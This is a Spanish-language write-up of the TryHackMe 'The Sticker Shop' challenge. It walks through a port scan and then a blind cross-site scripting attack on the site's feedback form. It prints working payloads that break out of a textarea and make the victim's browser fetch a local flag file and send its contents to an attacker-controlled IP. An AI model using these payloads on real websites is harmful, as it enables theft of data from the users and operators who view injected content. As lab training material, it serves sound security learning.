TryHackMe - The Sticker Shop (La tienda de pegatinas)
Una guía simple sobre cómo usar ❌ Cross-Site Scripting para este desafío
Introducción
¿Puedes explotar la tienda de stickers para capturar la bandera?
¡Finalmente, tu tienda local de stickers ha desarrollado su propia página web! No tienen mucha experiencia en el desarrollo web, así que decidieron desarrollar y alojar todo en la misma computadora que usan para navegar por internet y ver los comentarios de los clientes. ¡Una jugada inteligente!
Nmap
Comencemos escaneando los puertos abiertos:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
| 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open http Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dado que el puerto HTTP de respaldo está abierto, podemos visitar el sitio web a través de 10.10.10.243:8080
.
Intentemos visitar 10.10.10.243:8080/flag.txt
.
Visitemos la subpágina de Feedback.
Cross-Site Scripting
Intentemos con XSS
Vamos a alojar un servidor Python e intentar obtener nuestra máquina atacante a través de un script:
1
python3 -m http.server 8000
Y enviemos nuestro script:
1
</textarea><script>fetch('http://10.11.75.122:8000');</script>
Hemos recibido una respuesta, lo que significa que tenemos una vulnerabilidad de Blind XSS.
Ahora podemos intentar crear una carga útil que se vea como esto:
1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Desglosado:
- Obtiene
flag.txt
desdehttp://127.0.0.1:8080/flag.txt
. - Lee su contenido como texto.
- Envía el contenido robado como un parámetro de consulta (
a=<NUESTRA_BANDERA>
) ahttp://10.11.75.122:8000
(Nuestra máquina atacante).
Bandera
Después de iniciar nuestro servidor Python localmente e insertar nuestra carga útil, recibimos la bandera.